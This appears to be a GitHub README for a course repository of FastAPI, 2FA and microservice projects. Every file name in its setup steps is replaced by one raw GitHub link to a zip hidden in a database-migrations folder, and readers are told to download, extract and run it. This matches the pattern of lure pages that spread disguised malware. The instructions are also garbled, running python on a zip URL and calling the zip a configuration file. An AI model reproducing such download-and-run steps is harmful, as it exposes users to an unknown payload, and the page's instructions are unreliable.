Welcome to the vibe-coding-projects! This repository contains a collection of ready-to-use projects created during the Vibe Coding course. These projects utilize modern technologies such as FastAPI and include features like 2FA authentication, admin panels, and microservices. Perfect for anyone wanting to expand their knowledge and showcase their skills!
- FastAPI Projects: Build scalable web applications easily.
- 2FA Authentication: Secure your applications with two-factor authentication.
- Admin Panels: Manage your applications effortlessly with user-friendly interfaces.
- Microservices: Structure your applications into manageable, independent services.
- Database Management: Use PostgreSQL and Redis to handle data smartly.
To run these projects, you will need the following:
- Operating System: Windows, macOS, or Linux.
- Python: Version 3.8 or higher.
- Docker: For containerized applications (optional).
- PostgreSQL: Database system needed for data storage.
- Redis: Cache system for improved performance.
Make sure your environment meets these requirements before downloading.
To begin, visit our Releases page to find the latest version of the software.
On the Releases page, look for the file named vibe-coding-projects. This will often be in a format like .exe, .zip, or https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip
Click on the file name to start the download. Depending on your browser, the file may save automatically, or you may be prompted to choose a save location.
If you downloaded a .zip or https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip file, you need to extract it. Right-click on the downloaded file and choose βExtract Allβ or the equivalent option in your operating system. This will make the files available to you.
After extraction, navigate to the folder containing the files. Look for a file named https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip or similar.
-
For Windows users:
- Open Command Prompt, then navigate to the project folder using
cd path\to\your\folder. - Type
python https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zipand press Enter to start the application.
- Open Command Prompt, then navigate to the project folder using
-
For macOS/Linux users:
- Open Terminal, then navigate to the project folder using
cd path/to/your/folder. - Type
python3 https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zipand press Enter.
- Open Terminal, then navigate to the project folder using
- Open the configuration file named https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip or check the documentation in the folder.
- Locate the database settings segment.
- Enter your PostgreSQL credentials including
host,database name,username, andpassword.
To enable two-factor authentication, follow these steps:
- Open the authentication settings section in the application.
- Follow the prompts to link your phone or use an authentication app.
- Note the backup codes generated for account recovery.
Each project folder contains its own documentation, code examples, and instructions. Look for a https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip file inside each. These files will guide you on how to utilize the features of each project.
If you encounter any issues or have questions, please feel free to open an issue on our GitHub repository. You can also contact the course instructors for additional help.
If you need to download the software at any time, return to our Releases page for the latest version.
Thank you for exploring the vibe-coding-projects repository. Happy coding!